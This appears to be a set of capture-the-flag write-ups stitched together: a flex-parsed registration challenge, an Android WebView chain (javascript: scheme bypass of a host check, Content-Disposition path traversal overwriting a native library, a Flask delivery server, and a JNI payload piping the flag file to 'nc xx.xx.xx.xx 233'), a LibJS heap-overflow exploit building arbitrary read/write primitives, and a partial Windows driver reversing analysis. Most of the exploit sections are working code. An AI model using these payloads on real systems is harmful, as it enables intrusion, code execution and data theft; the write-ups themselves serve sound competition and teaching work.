Due to some special reasons, the zero solution challenge does not release the wp
[TOC]
This question is a "registration language" generated by compiling with flex. When reversing it, you will find a large number of token tokens, from 1 to 17, respectively:
#define CREATE 1
#define LOGIN 2
#define USER 3
#define TEAM 4
#define LOGOUT 5
#define JOIN 6
#define SHOW 7
#define NAME_SIGN 10
#define PWD_SIGN 11
#define EMAIL_SIGN 12
#define PHONE_SIGN 13
#define ADMIN_ 14
#define LOAD 15
#define CONTENT 16
#define HELP 17
The corresponding inputs are
"help" {return(HELP);}
"exit" {return(EXIT);}
"create" {return(CREATE);}
"user" {return(USER);}
"team" {return(TEAM);}
"login" {return(LOGIN);}
"join" {return(JOIN);}
"show" {return(SHOW);}
"admin" {return(ADMIN_);}
"load" {return(LOAD);}
"-p" {return(PWD_SIGN);}
"-n" {return(NAME_SIGN);}
"-e" {return(EMAIL_SIGN);}
"-P" {return(PHONE_SIGN);}
{content} {return(CONTENT);}
By backtracking, we can see that when using admin, we can read the user from the file, so we can directly analyze this Load user function. It is easy to see that the condition for load user is that the team has more than 2 members and the user name must be adm1n
.
Therefore, it is straightforward to create the team and the user according to the command format. The input exp is as follows.
create user -n adm1n -p 123456 -P 1 -e nmsl
create user -n usr -p 654321 -P 2 -e wsnd
create user -n usr2 -p 654321 -P 2 -e wsnd
login user -n adm1n -p 123456
create team -n t1
login user -n usr -p 654321
join -n t1
login user -n usr2 -p 654321
join -n t1
login user -n adm1n -p 123456
admin load /home/ctf/flag
END
The validation can be seen below:
if (!uri.getHost().endsWith(".google.com")) {
finish();
return;
}
It requires a url whose domain host needs to end with .google.com
. But it doesn't really mean you need own a google sub-domain. It could be bypassed by scheme because there isn't any validation on url scheme.
POC
JavaScript://www.google.com/%0d%0awindow.location.href='http://xx.xx.xx.xx/'
The vulnerable code can be seen below:
webView.setDownloadListener(new DownloadListener() {
@Override
public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) {
String fileName = parseContentDisposition(contentDisposition);
String destPath = new File(getExternalCacheDir(), fileName).getPath();
new DownloadTask().execute(url, destPath);
}
});
The path to save the download file, is directly spliced from getExternalCacheDir()
and fileName
. Function parseContentDisposition will return the filename shown in Http header "Content-Disposition"
private static final Pattern CONTENT_DISPOSITION_PATTERN =
Pattern.compile("attachment;\\s*filename\\s*=\\s*(\"?)([^\"]*)\\1\\s*$",
Pattern.CASE_INSENSITIVE);
static String parseContentDisposition(String contentDisposition) {
try {
Matcher m = CONTENT_DISPOSITION_PATTERN.matcher(contentDisposition);
if (m.find()) {
return m.group(2);
}
} catch (IllegalStateException ex) {
// This function is defined as returning null when it can't parse the header
}
return null;
}
So in this case, we can manipulate the value of Content-Disposition
to contain a lot of ../
. Then, the final path should be like:
/sdcard/Android/data/com.wmctf.wmbabydroid/cache/../../../../../../../../../../../../data/data/com.wmctf.wmbabydroid/files/lmao.so
We can achieve this goal through python-flask.
@app.route("/download", methods=['GET'])
def download():
response = make_response(send_from_directory(os.getcwd(), 'exp.so', as_attachment=True))
response.headers["Content-Disposition"] = "attachment; filename={}".format("../"*15+"data/data/com.wmctf.wmbabydroid/files/lmao.so")
return response
There is a JavascriptInterface called lmao. If file /data/data/com.wmctf.wmbabydroid/files/lmao.so
exists, it will load that native executable file.
webView.addJavascriptInterface(this, "lmao");
@SuppressLint("JavascriptInterface")
@JavascriptInterface
public void lmao(){
try {
File so = new File(getFilesDir() + "/lmao.so");
if(so.exists()){
System.load(so.getPath());
}
} catch (Exception e){
e.printStackTrace();
}
}
We need delay 2 seconds to trigger the System.load, before we success overwrite the file.
<h1>poc1</h1>
<script>
function sleep(time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
sleep(2000).then(() => {
window.lmao.lmao();
})
location.href = "/download"
</script>
server.py
import os
from flask import Flask, abort, Response, request, make_response, send_from_directory
import logging
import requests
from hashlib import md5
from gevent import pywsgi
import base64
import traceback
import json
app = Flask(__name__)
@app.route("/download", methods=['GET'])
def download():
response = make_response(send_from_directory(os.getcwd(), 'exp.so', as_attachment=True))
response.headers["Content-Disposition"] = "attachment; filename={}".format("../"*15+"data/data/com.wmctf.wmbabydroid/files/lmao.so")
return response
@app.route('/', methods=['GET'])
def index():
return """\
<h1>poc1</h1>
<script>
function sleep(time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
sleep(2000).then(() => {
window.lmao.lmao();
})
location.href = "/download"
</script>
"""
# @app.route('/log', methods=['GET'])
# def log():
# print(request.args)
# print(request.headers)
if __name__ == "__main__":
print("http://127.0.0.1/")
server = pywsgi.WSGIServer(('0.0.0.0', 80), app)
server.serve_forever()
# adb shell su root am broadcast -a com.wuhengctf.SET_FLAG -n com.wuhengctf.wuhengdroid5/.FlagReceiver -e flag 'flag{t12312312312}'
# adb shell am start -n com.wmctf.wmbabydroid/com.wmctf.wmbabydroid.MainActivity -d "JavaScript://www.google.com/%0d%0awindow.location.href='http://xx.xx.xx.xx/'"
exp.so
#include <jni.h>
#include <stdlib.h>
#include <string.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
system("cat /data/data/com.wmctf.wmbabydroid/files/flag | nc xx.xx.xx.xx 233");
return JNI_VERSION_1_6;
}
The challenge is a simple out-of-bound read and write vulnerability in LibJS, the Javascript engine used in Serenity OS, an awesome project you should definitely have a look. The JS interpreter can be compiled and ran on a host machine, which is Ubuntu 22.04 here.
Gaining control of the program is rather easy on your local machine, as offsets are fixed and can be calculated manually. However, the key obstacle here is the extremely unstable heap layout on the remote machine. Every additional newline may change the heap layout a lot. So the key here is to gain a stable AAR and AAW primitive. Here I used heap spray for stability. The rest part is to use the primitives to achieve ROP and get flag, which is ignored in the exp.
function hex(i){return "0x" + i.toString(16);}
gc()
abs = []
dvs = []
for(var i = 0; i < 0x100; i++){
abs.push(new ArrayBuffer(0x100));
abs[i].byteLength = 0x1337;
}
for(var i = 0; i < 0x100; i++){
dvs.push(new DataView(abs[i]));
dvs[i].setBigUint64(0, 0x4141414141414141n, true);
dvs[i].setBigUint64(8, BigInt(i), true);
}
for(var i = 0; i < 0x100; i++){
heap_addr = dvs[i].getBigUint64(0x1f8, true);
size = dvs[i].getBigUint64(0x218, true);
if(size == 0x3341n && heap_addr > 0x500000000000n){
console.log(hex(heap_addr));
break;
}
}
if(heap_addr < 0x500000000000n){
console.log("Try again 1");
exit(0);
}
lib_lagom_leak = dvs[i].getBigUint64(0x2b8, true);
libc_base = lib_lagom_leak - 0xcb67b0n
console.log(hex(lib_lagom_leak));
console.log(hex(libc_base));
bin_sh = libc_base + 0x1d8698n;
environ = libc_base + 0xd142d0n;
dvs[i].setBigUint64(0x1f8, bin_sh, true);
for(var j = 0; j < 0x100; j++){
verify = dvs[j].getBigUint64(0, true);
if(verify == 0x68732f6e69622fn){
console.log("Found j");
break;
}
}
if(verify != 0x68732f6e69622fn){
console.log("Try again 2");
exit(0);
}
function aar(addr){
dvs[i].setBigUint64(0x1f8, addr, true);
return dvs[j].getBigUint64(0, true);
}
function aaw(addr, value){
dvs[i].setBigUint64(0x1f8, addr, true);
dvs[j].setBigUint64(0, value, true);
}
console.log(hex(aar(environ)));
First look at the string and find Please Input Your Flag, cross-referenced to the main function
sub_1400035A0 is a function that generates random 8-bit characters, sub_1400036C0 passes the FileName generated earlier and then releases the driver to a fixed location, sub_1400037A0 and sub_140003890 are some operations related to driver loading and starting, while determining whether the program startup environment is in Win7 x64.
The flag length is 32 bits, the encryption function is sub_140006750, continue to analyze the encryption function
The flags are first byte-by-byte xor subscripted, then the flags are passed into sub_1400062A0, and sub_1400062A0 is analyzed
The flag is gone by this point, as the NtQueryInformationFile parameter. Cross-referencing NtQueryInformationFile
It just creates a txt file as an argument to CreateFileA. Since the title mentions driver and we have analyzed the behavior of releasing the driver earlier, we try to analyze the driver.
Since the driver is automatically deleted after it is released, we can extract the file before DeleteFile by debugging
DriverEntry goes in and analyzes it and finds that sub_1400011E0 is used as the parameter for sub_140001000
Here the use of the ExRegisterAttributeInformationCallback function in the two callback functions ExpDisSetAttributeInformation and ExpDisQueryAttributeInformation to do communication, do a hook.
If you go to the kernel file and analyze this function, you will find that ExpDisQueryAttributeInformation is called in ExQueryAttributeInformation